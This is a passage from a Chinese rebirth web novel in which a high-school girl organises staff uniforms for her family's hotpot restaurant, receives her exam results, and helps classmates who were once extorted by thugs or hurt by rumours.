而且剪裁一定要随身,绝对不能按照时下人的裁衣风格,把衣服做的肥肥大大,既不美观,又显得粗笨。 后厨人员的工装还是传统的白色系,不过为了提高辨识度,她会要求裁缝在衣服领口、袖口、衣襟边缘加上明黄色的镶边,平添几分贵气。 先做秋冬款的厚外套,里面可以套着薄棉袄或者毛衣穿,然后是春款。 春款跟秋冬款款式一样,只不过选料用的是薄一些的布料,更适合开春天暖的时候穿。至于夏装,等天热起来再说。 每个人每个款式做两身,以后上班时间就必须穿工作服了 这笔钱由店内出,但是每人月底会扣五块钱做押金。如果有人想离职,把衣服洗干净还回来,没有明显破损,押金就能返还。 大伙儿对此没有什么意见。因为之前报销体检费,让大伙儿都觉得苏丽珍一家是言出必行的人。 再加上五块钱换四身衣服,其中一半还是冬天能穿的厚料子,连布票都省了,再没有这么划算的事了! 曹金凤原本得知店里不准化妆,还有些怏怏的,现在一听说要做工作服,立马来了精神。 连着问了苏丽珍好几遍关于衣服的颜色、款式问题,末了,还忍不住兴冲冲地问道:“小老板,光上衣做红色多单调啊,咋裤子不也一块做成大红色,那多好看啊!” 其他人:“……” 苏丽珍似笑非笑道:“要不再给你做双红鞋,让人以为咱们饭店天天办婚礼?” 曹金凤一下没话了。 经过这两回,她也发现了店里的小老板是真厉害。私底下不知道怎么想,反正明面儿上是老实了不少。 将该安排的事安排好,接下来就是等着大伙儿慢慢磨合。 不过苏丽珍马上有更重要的事要做,一晃儿到了十三号,学校发成绩的日子。 苏丽珍之前的预估没有出错。 她这次期末考试的成绩果然比之前又有所提升。 上一次月考她是全校排名第七,这一次直接上升到了第四名。 别看只是提升了几个名次,要知道一高是整个凤城市十多所高中里排名第一的学校。 这一届十八个班级、近千名学生更是卧虎藏龙,比苏丽珍聪明、有天资的人也t不在少数。 她要不是比别人多活了一辈子,外加一刻不肯放松地努力,也不会有现在这个成绩。 返校主要有两件事,一件是发成绩;另一件就是打扫卫生。 班级里人多力量大,很快就把教室、寝室打扫得窗明几净。 之前好多内学生为了节省路费,考完试也没有回家,就等出成绩才走,这会儿可以说是归心似箭。 所以班主任李老师只是简单叮嘱了大家假期注意安全,以及千万不要落下功课,之后就宣布了放学。 大伙亲亲热热地互相告了别,苏丽珍和卢向阳最后留下收尾。 两人正把教室里的椅子都塞进课桌底下时,忽听身后有人喊“苏班长,卢班长”。 回头一看,原来是班上的赵猛和张光明。 苏丽珍奇怪,“咦,你们俩怎么还没走?是忘了什么东西吗?” 不料这两人齐齐摇头,张光明看向了赵猛。 赵猛便有些不好意思地率先开口道:“两位班长,我俩是特意留下来等你们的……之前的事多亏了你们,要不是有你们,我俩现在指不定什么样呢!” 张光明在一旁使劲点头。 赵猛说完,从自己的书包里掏出两本笔记本,郑重地递给两人。 “苏班长、刘班长,这两本笔记本是我俩跑了好几个商店才买到的,也是我俩的一点儿心意,希望你们能收下。” 苏丽珍看过去,见这两本笔记本都是时下惯用的八开大小,做工很精致。 封皮是现在比较流行的塑料外皮,一本粉红色,上面印着一只白毛鸳鸯眼的漂亮波斯猫; 一本是海蓝色,封皮是两位一身戎装、胸前垮木仓的解放军战士。 一看就是用心挑选的! 苏丽珍和卢向阳对视一眼,他俩都没想到两人会特地留下来送他们礼物。 尤其苏丽珍,心里还有一点儿复杂。 说起来这两个人与上辈子的她还真有些纠葛。 上辈子的苏丽珍因为虚荣心作祟,把自己装成有钱有势人家的孩子,结果让校外的小混混盯上,被他们堵在路上索要钱财。 就是那一次,沈哲偶然路过,帮她把人赶跑了。 自此也开启她走火入魔一样的恋爱脑人生。 当时,据那两个混混说,他们之所以来堵她,也是因为她班上两个不学好的学生给他们提前通风报信。 那两个人就是赵猛和张光明! 而且后来不止是她,班上很多人也都受到了混混的骚扰。 所以这两人很快就“东窗事发”,被学生家长告到学校,说他们和校外混混“勾结”干坏事。 但是俩人当时却并没有被学校开除,而是办理了转学手续。 苏丽珍那时十分不理解,觉得对他们太过宽容了。 可直到重生一回,她才弄清楚事情的真相。 赵猛和张光明在班级里也算是“问题学生”。 赵猛个子比较矮,入学的体测才一米五八。班上不说男生,就是大多数女生也比他个头高。 赵猛因此很是敏感,觉得很多人背后都笑话他、看不起他,所以有些愤世嫉俗。 大家也觉得他不好相处,时间长了,赵猛越发阴沉,让人不愿接近。 张光明跟他的情况完全相反,他倒是长得高高壮壮的,可是成绩不好。 当初进一高的时候就是全校垫底,这几次考试也回回倒数第一。 他自己压力很大,也很自卑,而雪上加霜的是,他还有个轻微口吃的毛病,一紧张就犯。 刚开学的时候,好几次老师上课提问他,结果他“我……”了半天,最后只说出一句“我不会”。 那种尴尬可想而知,老师怕伤害他自尊心,也不再提问他,却不知张光明因此越发自卑起来。 赵猛和张光远家离得不远,初中还是同一个学校的。两个失意的孩子就渐渐搭成了伴儿,每天一起上学下学。 他们两家的条件都不错,尤其张光明家里,父母都是运输队的,是时下最有油水的地方之一,所以俩人花钱就有些大手大脚。 没想到也因此被张光明家附近的两个混混盯上了。 两个混混盯了他们一段时间,偶然了解了他们在学校的处境,便直接将两人截住,逼他们给钱。 张光明虽然长得人高马大,但是性子比较懦弱。 赵猛倒是个不服输的性子,可是他身材不占优势,又没有什么打架技巧,结果被两个混混轻松制住,还挨了顿打。 张光明见不得小伙伴受苦,只能老老实实掏钱。 两个混子尝到甜头之后,三番五次勒索张光明,一旦他不同意,他们就抓住赵猛毒打,而且专挑衣服下面看不到的地方下手。 末了,还威胁他们,不准告诉家长和老师。 张光明确实是不敢,赵猛则是钻了牛角尖,认为自己拖累了小伙伴儿,另一方面是觉得自己太过没用,说出去也是丢人,徒增笑话。 而这件事之所以爆发,也是因为两个混混贪心不足,逼迫张光明告诉他们,班上哪些学生家境好。 张光明虽然比较懦弱,但是也知道这样做会坑害同学,自然不肯答应。 两个混混便威胁说,要每天专门到学校找他们,让学校里所有人都觉得俩人跟他们是一伙的,到那时,他们肯定在学校待不下去! 张光明和赵猛当时是真的害怕了。因为他们知道自己在学校人缘不好,担心别人会真的因此误会。 可坑害同学的事,他们也不敢做,只能咬紧牙关拒绝。 两个混混发了狠,直接把赵猛打了一顿后,又从张光明的书包里翻出他的日记本抢走了。 张光明在日记第一页就写下了班级里每一个同学的名字。本来是为了方便自己平时练习,希望以后叫同学名字的时候不会犯口吃,没想到却差点给他自己带来更大的麻烦。 而这次混混下手狠了些,在赵猛手腕上留下了一个棍棒敲打后的乌黑印子。 刚好那段时间,李老师觉得这两个学生的情绪越来越低迷,而苏丽珍和卢向阳身为班长,也认为不能放任两人一直这样消极下去,便主动去找他们俩谈心。 结果正巧就被卢向阳发现了赵猛手腕上的伤痕! 卢向阳从小跟着父兄习武,对这些外伤最是清楚,他一眼就认出赵猛身上的伤是被人打出来的,当时就觉得不对,便把人拦住,问他是不是出了什么事。 结果赵猛还没说什么,精神备受折磨的张光明先受不住,直接爆发了,当场哭着把事情的原委都说了出来。 苏丽珍和卢向阳当即把这件事报告了李老师。 李老师觉得事情重大,又立马上报了学校,并联系了两家学生家长。 两家家长都是有些能力的,他们直接找到了那两个混混,也不知道做了什么,总之那两人之后再没敢来骚扰任何人。 苏丽珍也是这时才明白,原来这两个人一直在遭受混混的欺辱和威胁,他们同样也是受害者。 而且因为他们人缘不好,在班级里不受欢迎,他们甚至担心会被人误会跟混子们是同伙,因此不敢告诉任何人。 上辈子,因为她和谢芳芳这两个问题制造者,班级里气氛一直不太好,卢向阳身为班长也分身乏术,所以那时谁都没能发现两人遭受的挫磨,导致他们后来黯然离开。 这辈子,苏丽珍自认这个班长当的还算尽责,班级里的整体气氛融洽,直接凸显出了赵猛和张光明的处境,让他们能够及时发现不妥之处,从而将这件事揭开,进一步保护了两人,也将更多危险的苗头提前掐灭。 本来苏丽珍因为上辈子的记忆对这俩人是有些淡淡的,却没想到误会了他们。 这两个同学虽然有错,但主观上从来没想过要坑害任何人。 她不知道上辈子他们最后的结局是什么样。 但是现在,她深刻认识到或许因为自己的努力,可以帮助一些人,让他们避免原本要受伤害的结局,有了另一个崭新的、充满希望的开始。 她觉得这件事对她的意义不亚于重生。 她不是想做救赎者,而是觉得这条赎罪的路上也有了一点光。 第87章 这件事之后,大家都意识到赵猛和张光明的消极心态对他们自己的影响太大了。 同时,苏丽珍和卢向阳也认为,刚经历了这件事的两人正处于脆弱低迷的阶段,这时的他们更需要倾诉和陪伴,而且也没有平时那么重的心防。 于是,在李老师t的支持下,两人带着热心的同学们一起默默给予了两位同学许多帮助和关怀。 等到赵猛和张光明察觉时,他们早已不知不觉间拉近了和所有人的距离,甚至还不自觉地把一直压在心底的忧愁倾诉给了新的朋友们。 是的,这件事之后,他们俩在班级里也有了新的朋友。 朋友们不会嘲笑他们的那些缺点,会真诚地鼓励他们,甚至还会把自己的苦恼向他们倾诉。 两人也是这时才知道,原来这个世上每个人都是有烦恼的。 他们因此慢慢放下心结,渐渐从平日束缚自己的消极情绪中走了出来。 如今的赵猛不再愤世嫉俗,不会总是疑神疑鬼,认为别人看不起他。 张光明的口吃毛病不是一天两天能改好的,但是他现在愿意主动跟同学们请教功课,上课遇到自己会的问题,也会积极举手。 两个人明显都开朗了许多,这是之前的他们从没想过的。 在这个过程中,苏丽珍和卢向阳做了许多事,两人也因此十分感激他们。 这会儿,张光明见苏丽珍和卢向阳望着笔记本迟迟不肯接过,不由在旁边急道:“苏班长、卢班长,这是我和赵猛的心意,你们一定……定要收……收下!” 一着急,口吃的毛病又犯了。 苏丽珍和卢向阳也不再犹豫,微笑着一起接过了赵猛手里的笔记本。 “谢谢,我很喜欢!” 苏丽珍忍不住摸了摸粉色笔记本封皮上那只漂亮的波斯猫。 卢向阳也乐呵呵道:“瞧这俩战士多威武霸气,你们肯定是一看到他就想到我了吧!” 见两人喜欢自己的礼物,赵猛和张光明脸上都扬起了开心的笑容。 赵猛:“苏班长、卢班长,我们还想去找一下李老师,就不等你们了。” 苏丽珍刚才就注意到,他敞开的书包里露出了一个细长盒子的一角,应该是钢笔之类的东西,想必是送给李老师的,便笑着点头,“你们快去吧!” “对了,假期别忘了练习你们的专长,你们现在是咱们班的门面担当,将来可就指着你们给咱班争光添彩呢!” 苏丽珍也是经过之前的接触,才了解到原来这两人都各有一项十分厉害的特长。 赵猛歌唱的特别好。当初经过大伙的鼓励,他第一次开口唱歌的时候就惊艳了所有人。 上个月底,班级举行元旦联欢会,苏丽珍极力邀请他上台表演了两首歌。 好家伙,连隔壁班的老师和学生们都给招来了,当时站了一走廊的人! 至此,赵猛也在学校出了名。 张光明功课上平平无奇,但是在书法上很有造诣,一毛笔字优秀到连老师们都赞不绝口。 因为两人这两项出色的专长,李老师还说以后再有什么相关比赛,就把他们的名字直接报上去,他们可都是很有希望拿奖的。 一提起这茬,赵猛和张光明的眼睛就都不自觉亮了,更多了几分意气风发。 “班长,放心吧!我们假期哪儿也不去,就在家好好练习。” 看着两人迈着自信的步伐离去,苏丽珍和卢向阳捧着手里的笔记本也相视一笑。 将桌椅摆好,又再次检查了一遍门窗,最后将教室门锁好,苏丽珍便对卢向阳说道: “向阳,你不是说今天要跟向杰大哥的朋友们去滑冰吗?你赶快去吧,离校表我给李老师送去就行。” 离校表就是学生离校情况表。正式放假前,各班班干部要协助班主任完成这份表格。 卢向阳也没跟她客气,“行,珍珍,那就辛苦你一趟,我先走一步。回头我上你们家店里找你玩儿去!” 苏丽珍笑着跟他摆手,“好啊,我随时欢迎。” 等她去给李老师送完表格出来,这会儿整栋教学楼里已经没几个人了。 走到二楼下一楼的台阶时,她忽然看到前面走过了一个身姿笔挺秀丽的女孩。 望着那道背影,她脚步微顿。 哪怕前后两辈子接触的机会不多,但是有些记忆是刻在骨子里,很难忘怀的,所以她只一眼就认出了这个女孩是齐秀婷。 说起来,从小麦出事入院,到全家仓促间决定买房子开店,再到为开店一番紧锣密鼓地筹备,她已经很长一段时间没有去想这两个人的事了。 即便有时候在学校里碰见了他们,她也无暇分心多想。 现在的她已经能够心平气和地面对这两个人,只是将他们视作校友、同学,没什么交情,也不必过分忌讳,就这样平平淡淡、寻寻常常,不会再升起任何多余的情绪。 这样就很好。 她继续往前走。 忽然发现前面的女孩步履匆忙,而且因为只顾着怀里的书本,完全没察觉到一只粉红色的毛线手套掉了下来。 “同学!” 苏丽珍出声把人叫住,见对方停下脚步转过身来,便快走了几步,捡起那只手套,递给了对方。 “同学,你的手套掉了。” 齐秀婷连忙接过那只手套,微笑着跟她道谢,“谢谢你,同学!” 她顿了顿,有些好奇地看着苏丽珍道:“你是二班的班长苏丽珍吧?” 她的语气非常友好,一双漂亮的眼睛看着苏丽珍时充满了好奇,像一只秀气可爱的小猫。 真的是个非常讨人喜欢的女孩子。 苏丽珍也回给了她一个友好的微笑,“你好,我是苏丽珍。” 知道齐秀婷和沈哲是来自首都的转学生,不但容貌出众,而且成绩出类拔萃,是整个高一年组都很有名的好学生。 所以她并没有故意装作不认识对方,直接道:“我知道你是一班的英语课代表,齐秀婷。” 见她叫出了自己的名字,齐秀婷也笑了起来。 “其实我早就知道你,我经常听金老师提起你,她说你的英语口语是咱们整个年组里最好的,她特别喜欢你!” 一班和二班是一个英语老师。 苏丽珍只是谦虚道:“这个其实主要是多练习,我相信只要肯下功夫,大家都能说好口语。” “……我倒是觉得你们很厉害,我看了红榜,这次期末考试你全校排名第三,而且前三名被你们班包揽了两名,真的很优秀。” 齐秀婷排第三,排名第一的是沈哲。 而且沈哲比第二名高出了将近三十分,这对于成绩位于第一梯队的学生们来说,已经算是很难跨越的鸿沟了。 “我没有,主要厉害的是沈哲。” 似乎也对心上人的出色与有荣焉,齐秀婷脸上的笑容比刚才更灿烂几分。 苏丽珍笑了笑,没有接话,只是想起她之前步履匆匆,便善意提醒了一句:“我看你刚才似乎很着急的样子,是有什么事吧!” 齐秀婷这才反应过来,一拍脑门儿,“看我,沈哲还在外面等着我呢!苏同学,不好意思,我得先走了。咱们开学见,好吗?” 苏丽珍点了点头,“那好,开学见。” “再见!” 苏丽珍望着她的背影,微微一笑,心底是前所未有的释怀。 沈哲,齐秀婷,祝福你们。 希望你们这一世也和上一世一样,幸福美满,白首不离。 —— “哲哥,对不起,我耽误了这么长时间!” 沈哲看齐秀婷抱着一摞书,跑的气喘吁吁的,赶忙过去主动将她怀里的书接了过来。 “不是说只有两本,怎么这么多?早知道你要拿这么多书,我就陪你一起回去了。” 齐秀婷为心上人的贴心而翘起唇角,解释道:“本来只是想拿两本英语习题册的,不过我想起你说假期要帮我再补一补物理和化学,我就又多拿了两本,然后想起也别把数学落下……这么拿来拿去,不自觉就拿多了。” 沈哲拿她没招,只好露出个宠溺的笑容,“行吧,你高兴就好,反正不管你学什么,我都陪你。” 两人相视一笑,齐秀婷漂亮的脸蛋儿有些发红。 她有些害羞地赶忙转移话题道:“哲哥,刚刚我出来的时候遇到了一个人,是二班的苏丽珍。” 沈哲稍微想了一下,问道:“是英语很好的那个?” 齐秀婷点头,“我觉得她有些特别,身上有一种说不出的气质,很吸引人。” 沈哲不确定道:“有吗?我怎么没感觉到。” 在他印象里,那个女生似乎长相只能算清秀而已。毕竟在他们大院儿里,容貌出众的女孩子有很多。 齐秀婷笑道:“你们男生可能不懂,在我眼里,她就像是一块美玉,虽然没有璀璨的光芒,但是却有着同龄女孩没有的通透润泽。” “而且这块美玉好像还很有底蕴,会让人觉得她必有一个不俗的来历,或是背后t藏着一段故事,这是再出众的相貌也无法相比的。” 听见心上人这么高的评价,沈哲有些诧异,不由道:“我是真没有注意到……不过你们女孩子,我是男生,不好评价。” 他轻声道:“反正在我眼里,只有你是最好的。” 齐秀婷一阵脸红心跳,沈哲说完了也有些不好意思。 两人一时谁也不敢看对方,气氛安静了下来。但是周围的空气似乎变成了粉红色,吸一口凉风居然也甜滋滋的。 就这么一直走到校门口,那里早已停了一辆气派的军绿色吉普车。 看见两人出来,车窗摇下,露出一张俊雅出尘的脸。 “小哲,秀婷。”—— 作者有话说:感谢在2023-04-2615:43:36~2023-04-2815:16:05期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第88章 “小叔!” “瑞小叔!” 两人立即高兴地小跑过去。 “快上车吧。”沈瑞含笑应道。 这时坐在驾驶位置上的周明义也凑过来招呼道:“嘿,这东北的天气就是够劲儿,瞧把你们两个小家伙冻的,这小脸通红通红的!” 沈哲和齐秀婷下意识对视一眼,目光相接,两人的脸不由更红了。 齐秀婷赶紧低下头,伸手捂住脸,沈哲则清咳一声,转移话题道:“义小叔,深市那边比这边暖和吧?” 周明义一边调转车头,一边回道:“那当然,暖和多了!” “就这么说吧,我和你小叔我们俩在那边一共待了俩月,天天穿衬衫,顶多加一件薄外套而已。” 沈哲被这话吸引住了,忍不住问道:“深市那边现在怎么样?我妈以前的同事分到了那边的军区,我听她给我妈打电话说那边变化特别大,发展也很快。” 周明义笑道:“这话倒是真的。深市现在是个好地方,政策、资金全部都在往那边倾斜,我们这次成功拿下了两块地。” “年前这次过去召集够人手,过完年就能开工了。等到明年你们放暑假的时候,咱们的商业楼盘和厂房应该都能落成,到时正好接你们过去玩!” 沈哲十分兴奋,“好啊,义小叔,那就这么说定了!” 齐秀婷比较细心,低头算了下,“今天是一月十三号,今年二月四号过年,这就剩下二十天的时间了!瑞小叔,那今年过年你们还能赶得及回来吗?” 沈瑞坐在副驾驶上,闻言回过头温声道:“我们已经订到了往返的飞机票,到时候会直接从深市飞到首都。” “过年你们跟着二哥、二嫂一起走,二哥的假不会太早,我大致估算了下,咱们差不多前后脚的工夫到家。” 沈哲想到小叔马上又要走,心里便有些不舍。 他的父母都是军人,很少在家。他从小在太爷爷、爷奶身边长大。 小叔是爷奶的老来子,跟他只差了八岁,他从小就爱跟在小叔身后跑。 今年上高中,他父母都调到了凤城,少说要在这边待上几年。 他妈想他想的厉害,加上凤城离首都不算远,所以爷奶才让他和秀婷转到这边上高中。 能待在父母身边自然好,可是想见小叔就不那么方便了。 虽然他也知道,近一年小叔的工作中心一直是大南边的特区,可他就是管不住心里的失落。 打从上一次一起和小叔回首都探望做心脏手术的太爷爷回来之后,他已经快四个月没见到小叔了。 前天晚上,小叔和义小叔两人风尘仆仆地回来,他高兴坏了! 本来有一肚子的话要跟小叔说,可看他们一回来就忙的脚不沾地,他也只能默默待在一旁,不去添乱。 原本以为忙完这两天就好,没想到小叔这么急着又要走。 “那小叔,你们准备什么时候走啊?” 沈瑞回头,见小侄子两只手抱着他身后的座椅,眼巴巴地望着自己,一脸的不舍。 他心里一软,伸出手轻轻揉了揉他的头顶。 “下午三点多的火车,我们先坐车到首都,从首都坐飞机走。” 沈哲连忙看了一下手表,现在才十点多,还有一段时间,忙又道:“那小叔,咱们中午一块儿吃午饭吧!” 沈瑞虽然不想让小侄子失望,但是因为还有别的事没处理完,只好狠心拒绝。 “对不起,小哲,我和你义小叔今天还要去下面的太平庄一趟,路上来回要三个多小时,恐怕没法陪你们一起吃午饭了。” 沈哲听完确实是有些失望,不过他向来是懂事的孩子,忙压下心中的失落,点头道:“没关系,小叔,你和义小叔待会儿把我和秀婷送到家,就赶紧去忙你们的事吧!” 这时,旁边的周明义插话道:“其实我和你小叔去太平庄没什么大事,主要是受你苏爷爷所托,给他们家那个亲戚送点儿东西过去。” “这倔老头儿特别不好说话,我有点儿怵他,也就你们小叔在那儿还能有点儿面子,要不然也不用两个人都去的。” 沈哲忍不住好奇道:“苏爷爷的亲戚……是之前苏爷爷一直托咱们家帮忙找的,家里只剩下他自己的那位姓孟的爷爷吗? 周明义点头,“小哲脑瓜子好,记性也好,就是他!” “这老头儿可不是一般人,留过洋,当过大学教授,是电子技术方面的专家,本事大着呢! “只不过前几年被小人整了,一家子都被下/放,妻子和儿子也没了。本来他都已经平/反了,却死活留在他原先下/放的地方,守着妻子和儿子的坟不肯回来!” “要我说,老爷子就是心里那口气咽不下去……” “好了,明义。” 见他在两个孩子面前越说越过,沈瑞出声打断道,“好好开车。” 周明义讪笑两声,果然不再往下说,很快转移了话题。 “提到苏老爷子,咱在外边儿飘了大半年了,我还真有点儿想老爷子的手艺!可惜来来回回的太赶,总也没个时间!” 沈哲赶紧符合道:“是啊、是啊,我好想吃苏爷爷做的川菜,麻婆豆腐、水煮鱼、宫保鸡丁!” 连齐秀婷都忍不住接了一句,“我想吃苏爷爷做的麻辣火锅。” 周明义一听这话,想起来了,忙说道:“秀婷说麻辣火锅,我才想起来,刚才我们从人民路过来的时候,发现那边新开了一家‘珍珍火锅店’。” “我把车窗摇下来,一走一过闻到了一股特别冲的麻辣锅底味儿!你们别说,这味儿还挺正宗,跟你们苏爷爷做的也不差多少!难怪这个点儿里面就已经不少人了。” “可惜咱们赶时间,要不就带你们俩过去尝尝。” 这时齐秀婷思索着说道:“‘珍珍火锅店’应该是我们同学家开的。这同学不是我们班上的,她家以前在客运站门口摆摊卖凉皮和卤味来着。” “我们班有不少同学都喜欢吃她家的卤味,还挺有名气的!想不到她家连麻辣火锅也能做的这么好。” 坐在前面的沈瑞心里一动,忽然问道:“秀婷,你说的同学是不是一个跟你身高差不多,皮肤特别白净的小姑娘?” 齐秀婷想了下,“瑞小叔,我这个同学跟你说的挺像的,还有就是她的气质特别好。” 沈瑞笑了下,“确实,气质挺好的,不太像普通人家的孩子。” 听他这么说,齐秀婷确定道:“那就是她了,我这个同学叫苏丽珍,他们家的店叫珍珍,应该就是用的她的名字。” 周明义这下也想起来了,“嗨,我就说这火锅店的名字怎么听着这么熟,敢情这就是原来在客运站摆摊儿的那家啊!” “那小姑娘我可有印象,小小年纪,做事特别老道,滴水不漏的,少说也得有一万个心眼子!” “你们要真跟她是同学,有机会还是应该学着点儿!秀婷就不用了,但是咱家小哲,那是个实心儿的,就他这样,最容易吃亏了!” 沈哲坐在后面脸都黑了,“义小叔,看你说的,我也没有那么差吧!” 周明义嘿嘿两声,赶忙安抚他:“哲小侄儿,义小叔教你,这人在江湖飘,要想成事儿,光靠聪明可不行,这心机、手段、胆色、运气一样都不能差。” “当然你现在年纪小,把功课学好就行。不过呢,有些事儿你也要先心里有个数,毕竟有的人她天生有天赋,某些事上直接就甩了你t十万八千里。” 说这话时,他语气中还带了点不易察觉的幽怨和艳羡。 沈哲和齐秀婷一开始还不理解,直到听他讲起之前无意间碰到的,苏丽珍两次解决来家里摊子上闹事的人的经过,两人才对这位同学有了新的了解。 齐秀婷眼睛亮亮的,“我之前就觉得她气质不一般,现在我更是觉得她又漂亮又厉害,真是太飒了!” 说罢,又有些羡慕道:“大哥总是说我性子有点软绵,要是我也能像她这样做事果决利落就好了!” 沈哲却在旁边摇了摇头,“小婷,我觉得你这样就挺好,你不用羡慕别人。” 沈瑞也点头道:“是啊,秀婷,你也有很多优点,这世上本来也不存在十全十美的人。但是你们义小叔之前的话也不算错。” “等你们将来步入社会,就会发现这个世界上不乏格外优秀的人,而你们自己却未必会如你们想的那样厉害,所以凡事千万不能自视甚高,更不能轻视任何人。” 沈哲和齐秀婷乖乖点头,“是,(瑞)小叔,我们记住了!” —— 苏丽珍完全不知道自己正在被刚刚祝福的、前世的心上人一家讨论着。 她从教学楼出来,直奔自行车棚。 这会儿,校园里只有三三两两零星几个学生。 刚拐到通往车棚的小路,她老远就看见车棚前有一男一女两个学生在说话。 等走近了才认出,其中那个女生正是谢芳芳。 跟她说话的男生个子很高,长相很帅气,并不是他们班上的人。 两人看起来很熟络,有说有笑的样子,谢芳芳的一双大眼睛都弯成了月牙。 苏丽珍正想过去打个招呼,结果留意到那男生高壮的身形时,不由顿住了脚步。 她怎么觉得这男生有点眼熟呢? 仔细想了下,苏丽珍猛然想起这个男生正是五班那个打篮球很好的刘东辉! 秋天时,刘东辉经常组织人一起在校内打篮球,他球技非常好,加上个人形象比较出众,在学校算是小有名气。 关键上辈子,谢芳芳正是因为暗恋这个刘东辉,苦苦追求不得,却把自己的名声弄得奇差无比,最后不得不黯然转校。 他们俩怎么会一起出现在这里?难道谢芳芳这辈子又要重蹈覆辙? 一想到这,苏丽珍的面色便有些凝重。 她如今已经把谢芳芳当做了朋友,她不能眼睁睁看着对方走前世的老路。 第89章 “芳芳!” 苏丽珍招呼了一声,向两人走去。 “苏丽珍!” 谢芳芳一看见她,赶忙用力挥了一下手。 苏丽珍走近了,就听见刘东辉跟谢芳芳说道:“谢同学,既然你同学来了,那我就先走了。” 谢芳芳点头,“好的,刘同学,谢谢你陪我说了这么半天话。” 刘东辉笑道:“不过才几分钟而已。那行,咱们下学期再见!” “下学期见!” 眼见着刘东辉已经走出老远,谢芳芳还依依不舍地看着人家的背影,大眼睛里亮晶晶的。 “苏丽珍,你知道他是谁吗?” 她也不等苏丽珍回答,就自顾自说道:“看我都忘了,你这人一天不是学习,就是忙着班里的事,哪会注意这些!” “我告诉你吧,他就是五班那位篮球打的特别好的刘东辉!你看他人长得也特别帅呢……还有他的个子,真的好高啊!” 苏丽珍看到这样的谢芳芳,心里越发忧虑。 “芳芳,我看你刚刚跟他好像很熟的样子,你们之前认识吗?” 说到这个,谢芳芳一向总是有些张扬的小脸,难得有些不好意思。 她犹豫了一下,“反正你也不是别人,这件事告诉你也行,不过你可不能跟其他人说。” 苏丽珍只得答应,“行,我保证。” 谢芳芳这才放心,“就是上个月月中下大雪那次!我妈那天非要送我来上学,结果半道上车就抛锚了,没办法,我只好自己走。” “因为之前耽误了一阵,时间有点儿紧,我就走的比较急,结果在校门口直接摔了一跤,把我都给摔蒙了!” “幸好那时刘同学路过,把我给扶起来了,之后还一路都帮我拿书包呢!” “我跟你讲,我当时摔的四仰八叉的,真的可丢人了!幸亏当时时间不早,校门口没什么人,刘同学也没有笑话我,要不然我真是丢脸丢到家了!” 说完,她又忍不住夸起刘东辉来,“想不到刘同学不但长得好,人还那么热心,难怪那么受欢迎,听说咱们学校有好多女孩子喜欢他呢!” 苏丽珍看着她,“那这些女孩子里也包括你吗?” 谢芳芳想也没想,顺口接道:“当然啊,毕竟刘同学这么优秀的人,我自然也……” 说到一半,她忽然反应过来,“喂,你什么意思!” 她瞪着苏丽珍,“你该不会以为我对刘同学有那种……那种想法吧!” 看苏丽珍不否认,她更是气鼓了脸。 “苏丽珍,你思想怎么那么龌龊!你把我当什么人呐?虽然他个子高,长得帅,球打的好,人也热心,确实很优秀,可我对他绝对没那种想法!” 苏丽珍:“……” 这话怎么听都不像是没那种想法的样子。 谢芳芳见她不说话,不由更加生气,两手叉腰,一脸凶巴巴道:“我说的都是真的!我对刘同学的那种喜欢只是同学之间的欣赏而已,你怎么能想到那种方面去啊!” “你真以为我是花痴啊,看到一个优秀的男生就……” 说到这里,她忽然意识到什么,倏地脸色一变,死死盯着苏丽珍,“你是不是听到我初中时的那些谣言了?” “苏丽珍,难道你也跟他们一样,觉得我就是个特别随便的早恋坏分子?” 这时的谢芳芳没有了以往的骄傲张扬,一张脸冷若冰霜,语气更是冷的吓人! 但是仔细听,还是能从中听出一点儿不易察觉的委屈和难过。 苏丽珍忽然想起,学校里一直有关于谢芳芳在初中时喜欢一个男生的传言。 还有人说因为那个男生没有来一高,谢芳芳为此还大闹过。 说的有鼻子有眼的,反正都不怎么好听。 只不过他们班比较团结,班里没人嚼这种舌根,这些闲话也就没能传起来。 可前世则截然相反,班里传这些话的人不少。 而这样的谣言会对一个女生带来什么样的影响不言而喻。 她一直觉得上辈子谢芳芳做事那样偏激,未尝不是受了这些谣言的影响。 现在看谢芳芳的反应,也确实如此。 那些闲言碎语给她造成的伤害远比苏丽珍想的更严重。 苏丽珍注视着对方,语气前所未有的认真。 “芳芳,我相信你说的每一句话、每一个字!更坚信你绝不是什么随便的女生!” “我今天的话让你想起了一些不好的事,对于这一点我很抱歉,但我并不后悔这样做。” 她上前一步紧紧握住对方的手,“芳芳,正是因为我相信你,所以我才选择用这种直截了当的方式。 “也因为在这件事上,站在朋友的立场,我需要你给我一个准确的回答。” “芳芳,你知道的,世道很多时候对我们女孩子是很严苛的。有些事男生做了,可能无所谓,但是放在女生身上,就是天大的过错,甚至连一星半点的苗头都不允许有!” “我们可以平凡,可以失败,甚至可以一事无成!” “但是芳芳,我们绝不能先败在那些恶意的中伤和谣言上,让那些不如我们的小人不费一兵一卒,就让我们一败涂地!” “所以在我们有足够的实力让这些人闭嘴前,我们必须要谨慎。” 她看着谢芳芳通红的大眼睛里闪过什么,面色也比之前略有缓和,心里不禁松了一口气,继续说道: “芳芳,你已经在这种事上吃过一次亏,我不希望你再次受到伤害!” “作为你的朋友,我希望你的未来是星辰、是大海!而不是一次次让那些嫉妒你的人,总是用相同的卑劣手段去打击你!那样实在太不值了。” 谢芳芳的眼中忽然落下了大颗的泪珠,她一边狠瞪着苏丽珍,一边咬牙道:“你这个坏家伙,总是说最让人讨厌的话,做最让人讨厌的事……简直坏透了!” 说着,她忽然捂住脸,嚎啕大哭起来,“呜呜……可我知道你都是为我好……呜呜,苏丽珍……对不起,我刚刚不该那样凶你……” 苏丽珍并没有说什么,只是搂着她的肩膀,安抚地轻拍了拍,让她把心中的不快通通发泄了出来。 谢芳芳哭够了,接过苏丽t珍递来的手绢擦了擦脸,这才把自己初中的那一段经历讲给了苏丽珍听。 原来,谢芳芳在初中时确实跟一个男生关系很好,但是他们两个之间只是单纯的好朋友,绝对没有任何的暧昧。 两个人是在学校里的数学竞赛上认识的。 谢芳芳属于心高气傲的人,行事又比较自我,在班级里人缘并不好,也没有什么贴心的朋友,向来是自己独来独往。 只是在那一次的数学竞赛上偶然碰到这个朋友后,因为对方是个性格单纯、一心扑在数学的孩子,这让同样热爱数学的谢芳芳很有好感。 两个人难免有些惺惺相惜,因此就成了好朋友,经常一起上学下学,共同研究各种数学题,互相分享心得。 谁知时间一长,居然就引起了谣言,说两个人是早恋,还差点惊动了家长。 